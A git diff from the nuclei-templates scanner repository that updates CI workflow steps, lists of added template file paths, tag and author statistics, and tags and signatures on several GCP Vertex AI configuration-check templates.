Update DMARC validation matchers in YAML config

Create dmarc-validation.yaml
2026-11-07 17:43:44 -10:00 · 2026-01-19 06:10:36 +05:30 · 2026-01-15 14:52:30 +05:30
5586 changed files with 25961 additions and 96739 deletions
@@ -29,7 +29,7 @@ jobs:
            // ======= CONFIG: put your user pools here =======
            // Usernames must be GitHub logins and collaborators on this repo.
            const ISSUE_ASSIGNEES = [
-              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
            ];
            const REVIEW_POOL = [
              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
@@ -16,7 +16,7 @@ jobs:
      contents: write

    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

@@ -13,7 +13,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/setup/go@v1
        with:
          go-version: 'stable'
@@ -12,7 +12,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Checkout repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v5

      - name: Setup Python
        uses: actions/setup-python@v6
@@ -12,7 +12,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Checkout repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v5

      - name: Setup Python
        uses: actions/setup-python@v6
@@ -18,7 +18,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
        with:
          fetch-depth: 0
      - name: Generate new addition list
@@ -13,7 +13,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - run: sudo apt-get install tree -y
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
      - uses: actions/setup-python@v6
        with:
          python-version: "3.8"
@@ -1,21 +1,11 @@
 name: 📝 Template Checksum

 on:
-  # For YAML changes: wait for signing to complete first, then checksum
-  workflow_run:
-    workflows:
-      - "☑️ Template Sign"
-    types:
-      - completed
-    branches:
-      - main
-  # For non-YAML changes: trigger directly (signing doesn't run for these)
  push:
    branches:
      - main
-    paths-ignore:
+    paths:
      - '**.yaml'
-      - 'templates-checksum.txt'
  workflow_dispatch:

 env:
@@ -24,14 +14,9 @@ env:
 jobs:
  checksum:
    runs-on: ubuntu-latest
-    if: >
-      github.repository == 'projectdiscovery/nuclei-templates' && (
-        github.event_name == 'workflow_dispatch' ||
-        github.event_name == 'push' ||
-        github.event.workflow_run.conclusion == 'success'
-      )
+    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/generate/checksum@v1
        with:
          templates-directory: '${{ github.workspace }}'
@@ -14,10 +14,10 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v5
+      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN}}'
      - run: nuclei -lfa -duc -sign -ud $GITHUB_WORKSPACE -t .
        env:
          NUCLEI_USER_CERTIFICATE: ${{ secrets.NUCLEI_USER_CERTIFICATE }}
@@ -38,11 +38,18 @@ jobs:
    runs-on: windows-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
-
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v5
+      
+      - name: Set up Go
+        uses: actions/setup-go@v6
        with:
-          install-only: true
+          go-version: '1.24'
+          
+      - name: Install Nuclei
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
+          nuclei -version
+        shell: bash
          
      - name: Sign Windows Templates
        run: nuclei -lfa -duc -sign -ud "${{ github.workspace }}" -t "code/windows/audit"
@@ -8,7 +8,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/setup/templateman@v1
        with:
          token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
        with: 
          fetch-depth: 0
      - uses: projectdiscovery/actions/templates/stats@v1
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
      - uses: karancode/[email protected]
        with:
          yamllint_config_filepath: .yamllint
@@ -23,10 +23,10 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v7
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v5
+      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN }}'
      - name: Validate templates
        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/

@@ -40,8 +40,8 @@ jobs:
    env:
      HONEYPOT_URL: 'http://honey.scanme.sh'
    steps:
-      - uses: actions/checkout@v7
-      - uses: dorny/paths-filter@v4
+      - uses: actions/checkout@v5
+      - uses: dorny/paths-filter@v3
        id: filter
        with:
          list-files: shell
@@ -52,9 +52,9 @@ jobs:
              - '!.github/**'
            changed:
              - added|modified: *templates
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN }}'
      - run: bash weak-matcher-checks.sh
        id: check
        if: steps.filter.outputs.changed == 'true'
@@ -10,7 +10,7 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Check out repository code
-        uses: actions/checkout@v7
+        uses: actions/checkout@v5

      - name: Install Python3
        uses: actions/setup-python@v6
@@ -0,0 +1,8 @@
+.idea/
+.DS_Store
+local/
+.checksum
+.new-additions
+*.txt
+/.claude
+CLAUDE.md
@@ -1,62 +1,56 @@
-dns/dns-internal-ip-disclosure.yaml
-http/cves/2026/CVE-2026-10823.yaml
-http/cves/2026/CVE-2026-13731.yaml
-http/cves/2026/CVE-2026-1890.yaml
-http/cves/2026/CVE-2026-22778.yaml
-http/cves/2026/CVE-2026-28496.yaml
-http/cves/2026/CVE-2026-30958.yaml
-http/cves/2026/CVE-2026-34413.yaml
-http/cves/2026/CVE-2026-48282.yaml
-http/cves/2026/CVE-2026-48313.yaml
-http/cves/2026/CVE-2026-48611.yaml
-http/cves/2026/CVE-2026-52815.yaml
-http/cves/2026/CVE-2026-56782.yaml
-http/cves/2026/CVE-2026-8037.yaml
-http/cves/2026/CVE-2026-8383.yaml
-http/cves/2026/cve-2026-44381.yaml
-http/default-logins/dahua/dahua-icc-default-login.yaml
-http/exposed-panels/array-networks-ssl-vpn-panel.yaml
-http/exposed-panels/aruba-via-vpn-panel.yaml
-http/exposed-panels/cradlepoint-gateway-panel.yaml
-http/exposed-panels/ctrlpanel-panel.yaml
-http/exposed-panels/cyberoam-firewall-panel.yaml
-http/exposed-panels/ddwrt-panel.yaml
-http/exposed-panels/ecessa-panel.yaml
-http/exposed-panels/elfiq-panel.yaml
-http/exposed-panels/endian-firewall-panel.yaml
-http/exposed-panels/featherpanel-panel.yaml
-http/exposed-panels/firemon-asset-manager-panel.yaml
-http/exposed-panels/fortinet-fortianalyzer-panel.yaml
-http/exposed-panels/headscale-panel.yaml
-http/exposed-panels/hillstone-ssl-vpn-panel.yaml
-http/exposed-panels/jotty-page-login-panel.yaml
-http/exposed-panels/netgate-pfsenseplus-panel.yaml
-http/exposed-panels/netsweeper-webadmin-panel.yaml
-http/exposed-panels/nuage-networks-vsp-panel.yaml
-http/exposed-panels/ocserv-panel.yaml
-http/exposed-panels/peplink-incontrol-panel.yaml
-http/exposed-panels/sangfor-iam-panel.yaml
-http/exposed-panels/sangfor-ngaf-panel.yaml
-http/exposed-panels/silver-peak-edgeconnect-panel.yaml
-http/exposed-panels/sma-opcon-panel.yaml
-http/exposed-panels/smoothwall-firewall-panel.yaml
-http/exposed-panels/sonicwall-analytics-panel.yaml
-http/exposed-panels/sophos-utm-panel.yaml
-http/exposed-panels/stormshield-network-security-panel.yaml
-http/exposed-panels/thegreenbowvpn-panel.yaml
-http/exposed-panels/trend-micro-deep-security-panel.yaml
-http/exposed-panels/ubiquiti-edgerouter-panel.yaml
-http/exposed-panels/unifi-securitygateway-panel.yaml
-http/exposed-panels/wg-easy-panel.yaml
-http/exposed-panels/zywall-usg-panel.yaml
-http/iot/openremote-detect.yaml
-http/misconfiguration/installer/ctrlpanel-installer.yaml
-http/misconfiguration/marimo-auth-bypass.yaml
-http/takeovers/godaddy-parked-domain.yaml
-http/technologies/google-iap-detect.yaml
-http/technologies/tibco-businessworks-detect.yaml
-http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
-http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
-http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
-javascript/cves/2025/CVE-2025-29635.yaml
-network/misconfig/open-socks-proxy.yaml
+dns/acme-challenge-detect.yaml
+http/cves/2018/CVE-2018-7765.yaml
+http/cves/2019/CVE-2019-14206.yaml
+http/cves/2020/CVE-2020-19363.yaml
+http/cves/2020/CVE-2020-9039.yaml
+http/cves/2021/CVE-2021-37598.yaml
+http/cves/2023/CVE-2023-33960.yaml
+http/cves/2023/CVE-2023-52163.yaml
+http/cves/2024/CVE-2024-29137.yaml
+http/cves/2024/CVE-2024-56159.yaml
+http/cves/2025/CVE-2025-25570.yaml
+http/cves/2025/CVE-2025-4210.yaml
+http/cves/2025/CVE-2025-46349.yaml
+http/cves/2025/CVE-2025-46549.yaml
+http/cves/2025/CVE-2025-46550.yaml
+http/cves/2026/CVE-2026-21858.yaml
+http/exposed-panels/dagster-webserver-ui-exposure.yaml
+http/exposed-panels/sanity-studio-panel.yaml
+http/exposures/apis/frigate-api-exposure.yaml
+http/exposures/backups/batflat-sqlite-exposure.yaml
+http/exposures/configs/netlify-headers-config-exposure.yaml
+http/exposures/configs/selenium-grid-exposure.yaml
+http/exposures/files/gcloudignore-file.yaml
+http/exposures/files/gitpod-dockerfile-exposure.yaml
+http/exposures/files/joe-deadjoe-file-exposure.yaml
+http/exposures/files/postgres-history-exposure.yaml
+http/exposures/files/vscode-mcp-json.yaml
+http/exposures/logs/cacti-log-exposure.yaml
+http/exposures/logs/magento-debug-log-exposure.yaml
+http/exposures/logs/opencart-error-log.yaml
+http/exposures/tokens/azure/azure-instrumentation-key-exposure.yaml
+http/misconfiguration/apache-spark-env.yaml
+http/misconfiguration/cacti-fpd.yaml
+http/misconfiguration/google-calendar-exposure.yaml
+http/misconfiguration/installer/fork-installer.yaml
+http/misconfiguration/intermapper-exposure.yaml
+http/misconfiguration/lightstreamer-dashboard-exposure.yaml
+http/misconfiguration/mybb-full-path-disclosure.yaml
+http/misconfiguration/ollama-improper-authorization.yaml
+http/misconfiguration/stylelint-ignore-disclosure.yaml
+http/misconfiguration/wordpress/wp-add-search-to-menu-fpd.yaml
+http/misconfiguration/wordpress/wp-advanced-iframe-fpd.yaml
+http/misconfiguration/wordpress/wp-advanced-responsive-video-embedder-fpd.yaml
+http/misconfiguration/wordpress/wp-ajax-load-more-anything-fpd.yaml
+http/misconfiguration/wordpress/wp-ajax-search-lite-fpd.yaml
+http/misconfiguration/wordpress/wp-call-now-button-fpd.yaml
+http/misconfiguration/wordpress/wp-duplicate-page-fpd.yaml
+http/misconfiguration/wordpress/wp-hostinger-fpd.yaml
+http/misconfiguration/wordpress/wp-really-simple-captcha-fpd.yaml
+http/misconfiguration/wordpress/wp-updraftplus-fpd.yaml
+http/misconfiguration/wordpress/wp-w3-total-cache-fpd.yaml
+http/misconfiguration/wordpress/wp-wpforms-lite-fpd.yaml
+http/misconfiguration/wordpress/wp-wpfront-scroll-top-fpd.yaml
+http/technologies/hotjar-rum-detect.yaml
+http/technologies/matomo-rum-detect.yaml
+http/technologies/openreplay-rum-detect.yaml
@@ -38,5 +38,3 @@ files:
  - javascript/enumeration/minecraft-enum.yaml
  - http/miscellaneous/crypto-address-detect.yaml
  - http/vulnerabilities/wp-functions-php-disclosure.yaml
-  - dns/acme-challenge-detect.yaml
-  - aaaa-fingerprint.yaml
@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
+{"tags":[{"name":"vuln","count":6552},{"name":"cve","count":3799},{"name":"discovery","count":3278},{"name":"vkev","count":1579},{"name":"wordpress","count":1434},{"name":"panel","count":1381},{"name":"xss","count":1324},{"name":"wp-plugin","count":1256},{"name":"exposure","count":1253},{"name":"rce","count":874},{"name":"tech","count":850},{"name":"osint","count":847},{"name":"misconfig","count":843},{"name":"lfi","count":810},{"name":"wp","count":758},{"name":"devops","count":748},{"name":"cloud","count":702},{"name":"detect","count":635},{"name":"edb","count":598},{"name":"wpscan","count":587},{"name":"cve2021","count":575},{"name":"cve2022","count":556},{"name":"packetstorm","count":552},{"name":"cve2024","count":540},{"name":"cve2023","count":535},{"name":"sqli","count":518},{"name":"unauth","count":511},{"name":"intrusive","count":494},{"name":"login","count":486},{"name":"authenticated","count":479},{"name":"kev","count":466},{"name":"file","count":389},{"name":"network","count":373},{"name":"oast","count":323},{"name":"cve2020","count":314},{"name":"default-login","count":295},{"name":"cve2025","count":293},{"name":"config","count":286},{"name":"tcp","count":269},{"name":"apache","count":262},{"name":"microsoft","count":252},{"name":"token-spray","count":247},{"name":"auth-bypass","count":236},{"name":"top-200","count":235},{"name":"gcp","count":233},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"gcloud","count":225},{"name":"cve2019","count":218},{"name":"token","count":217},{"name":"malware","count":214},{"name":"azure","count":210},{"name":"","count":208},{"name":"cve2018","count":202},{"name":"iot","count":196},{"name":"aws","count":192},{"name":"csp-bypass","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"code","count":185},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":168},{"name":"ssrf","count":166},{"name":"security","count":162},{"name":"keys","count":157},{"name":"local","count":154},{"name":"joomla","count":153},{"name":"aws-cloud-config","count":147},{"name":"linux","count":137},{"name":"ftp","count":135},{"name":"router","count":135},{"name":"disclosure","count":130},{"name":"cve2017","count":129},{"name":"files","count":129},{"name":"cms","count":128},{"name":"audit","count":122},{"name":"phishing","count":119},{"name":"kubernetes","count":117},{"name":"cve2010","count":115},{"name":"js","count":106},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"file-upload","count":100},{"name":"debug","count":92},{"name":"windows-audit","count":90},{"name":"oracle","count":90},{"name":"oss","count":90},{"name":"seclists","count":88},{"name":"passive","count":87},{"name":"privesc","count":86},{"name":"fpd","count":83},{"name":"takeover","count":82},{"name":"enum","count":82},{"name":"cisco","count":81},{"name":"windows","count":78},{"name":"fileupload","count":77},{"name":"k8s","count":76},{"name":"adobe","count":74},{"name":"cve2015","count":66},{"name":"deserialization","count":66},{"name":"detection","count":66},{"name":"vmware","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"alibaba","count":61},{"name":"atlassian","count":61},{"name":"google","count":60},{"name":"dast","count":57},{"name":"logs","count":57},{"name":"traversal","count":56},{"name":"cve2014","count":55},{"name":"php","count":55},{"name":"ssh","count":54},{"name":"aem","count":53},{"name":"misc","count":52},{"name":"api","count":50},{"name":"ssti","count":50},{"name":"plugin","count":49},{"name":"osint-gaming","count":49},{"name":"injection","count":49},{"name":"generic","count":49},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ibm","count":48},{"name":"fortinet","count":47},{"name":"vulhub","count":46},{"name":"oob","count":46},{"name":"cnvd","count":46},{"name":"wp-theme","count":45},{"name":"aliyun","count":45},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"ssl","count":43},{"name":"miscellaneous","count":43},{"name":"springboot","count":43},{"name":"firewall","count":43},{"name":"info-leak","count":43},{"name":"oa","count":43},{"name":"osint-porn","count":42},{"name":"listing","count":42},{"name":"osint-hobby","count":42},{"name":"xxe","count":42},{"name":"postgresql","count":41},{"name":"tls","count":41},{"name":"k8s-cluster-security","count":41},{"name":"sap","count":40},{"name":"dns","count":39},{"name":"dlink","count":39},{"name":"jira","count":39},{"name":"devsecops","count":38},{"name":"cti","count":38},{"name":"google-cloud-sql","count":36},{"name":"graphql","count":36},{"name":"dashboard","count":36},{"name":"osint-coding","count":36},{"name":"fuzz","count":35},{"name":"xwiki","count":35},{"name":"osint-misc","count":35},{"name":"gitlab","count":35},{"name":"printer","count":34},{"name":"networking","count":34},{"nameLine truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6626 | dhiyaneshdk   |  2114 | http       | 10970 | info     |  5013 | file |   447 |
-| cve       |  4283 | daffainfo     |   949 | cloud      |   663 | high     |  2915 | dns  |    33 |
-| discovery |  3729 | princechaddha |   867 | file       |   447 | medium   |  2803 |      |       |
-| vkev      |  1795 | dwisiswant0   |   807 | code       |   288 | critical |  1820 |      |       |
-| wordpress |  1656 | pussycat0x    |   797 | network    |   280 | low      |   504 |      |       |
-| panel     |  1537 | ritikchaddha  |   779 | dast       |   249 | unknown  |    58 |      |       |
-| wp-plugin |  1473 | rxerium       |   644 | workflows  |   207 |          |       |      |       |
-| exposure  |  1456 | 0x_akoko      |   417 | javascript |   124 |          |       |      |       |
-| xss       |  1409 | pikpikcu      |   353 | ssl        |    38 |          |       |      |       |
-| osint     |  1131 | theamanrawat  |   343 | dns        |    30 |          |       |      |       |
+| vuln      |  6552 | dhiyaneshdk   |  1967 | http       |  9725 | info     |  4451 | file |   445 |
+| cve       |  3799 | daffainfo     |   937 | cloud      |   662 | high     |  2666 | dns  |    28 |
+| discovery |  3278 | princechaddha |   863 | file       |   445 | medium   |  2575 |      |       |
+| vkev      |  1579 | dwisiswant0   |   806 | network    |   277 | critical |  1639 |      |       |
+| wordpress |  1434 | ritikchaddha  |   726 | code       |   276 | low      |   437 |      |       |
+| panel     |  1381 | pussycat0x    |   721 | dast       |   249 | unknown  |    56 |      |       |
+| xss       |  1324 | pikpikcu      |   352 | workflows  |   206 |          |       |      |       |
+| wp-plugin |  1256 | pdteam        |   316 | javascript |   103 |          |       |      |       |
+| exposure  |  1253 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| rce       |   874 | 0x_akoko      |   274 | dns        |    25 |          |       |      |       |
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-auto-upgrades.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without automatic upgrades enabled"'
-# digest: 4a0a00473045022020ecc91c5e20e5b7a7e8c81a75e6f0841c2a8e6f6e10db7cd8c37cc485b65da8022100893a110acd719ebeb5da50f7aa6a9898afdc77259277fe618ce3312d34e5a494:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204c9dcab870b9d74ffc92b4d124ae2c552cd7adc3c063df1c893eee8f1da63578022100d799039657b5ec98b9345069d8f38f00b0516c96be22e7a24057c45d767ac9e7:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/default-vpc-in-use.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/create-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances using the default VPC network"'
-# digest: 4b0a00483046022100a628bcce3d1a7dcc53a56f40f8f4865f54dd43d343da23897a0ece18ebf75961022100a96b22e32f581a4f14a406d6f58ded7288f7cfdd39d3152d635786ac71f02c42:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5d1f2fcfc890c2f05563c6eb9622a256919795802a514c6182274d02a81818022100ebf9b5415abdc9b7966505657741b3d7e08b849035c0849d16be0aa5dcb8d7ed:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/prevent-external-ip-usage.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances with external IP addresses enabled"'
-# digest: 4a0a00473045022100eb58356e30e582e79db9e34c751398f257540bfa4716c2d1de37c82d242de38a0220320024c473e1bd4db36c9f640950a0a006aa63e5be2f444fbbd2254081cb3f05:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206b8cab9d698ed9f4177859d3256fe52c1eb954938c92c81e7b4af186c551ec20022100f088f4ac582da61bdfd232ed2e0ce6a428113cd5a1e690284b8783342f6895c3:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-idle-shutdown.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without idle shutdown enabled"'
-# digest: 4a0a004730450220374d01f50a9d157a2d5fec68762d8051b89f6b1ed0376e88635e1511d68abe8a022100b34c712dc5baed678090996d90a412ddb40c480cec972fbef83ba807c150fc36:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5693adc0278a31a62b47630197300145b36b00d470c8893ef5d2f19430607e0221008385cf51bd01f9652405b3344f8326549d4abcc49d876d73eb136a14818582d0:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-integrity-monitoring.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config

 flow: |
  code(1)
@@ -55,4 +55,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without integrity monitoring enabled"'
-# digest: 4a0a0047304502207db528887b8c3b4196abeece97c77bddd0a59322c0dca821358c99a93786708702210098618a9638dae1ff81fbe505882a575b4daa34ea2b3df20ce8f8662d92f5f8db:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b215d362db9c0383615363d071e45a71b376694eb6a974ce4cbd5db9dec5691502200bc26776e97130ee6e43a1b6763258c4c8d24cc0095b319854af3f8812045dfa:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-cloud-monitoring.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Cloud Monitoring enabled"'
-# digest: 490a00463044022046f0077349a98b3ff497d7d15ef487bb2814b921756ae2a564472817715425dc02204748a68363446c30b79aa3b2089a97a8c6314cb1ce1d2e7153659ffee5e3a2f5:922c64590222798bb761d5b6d8e72950
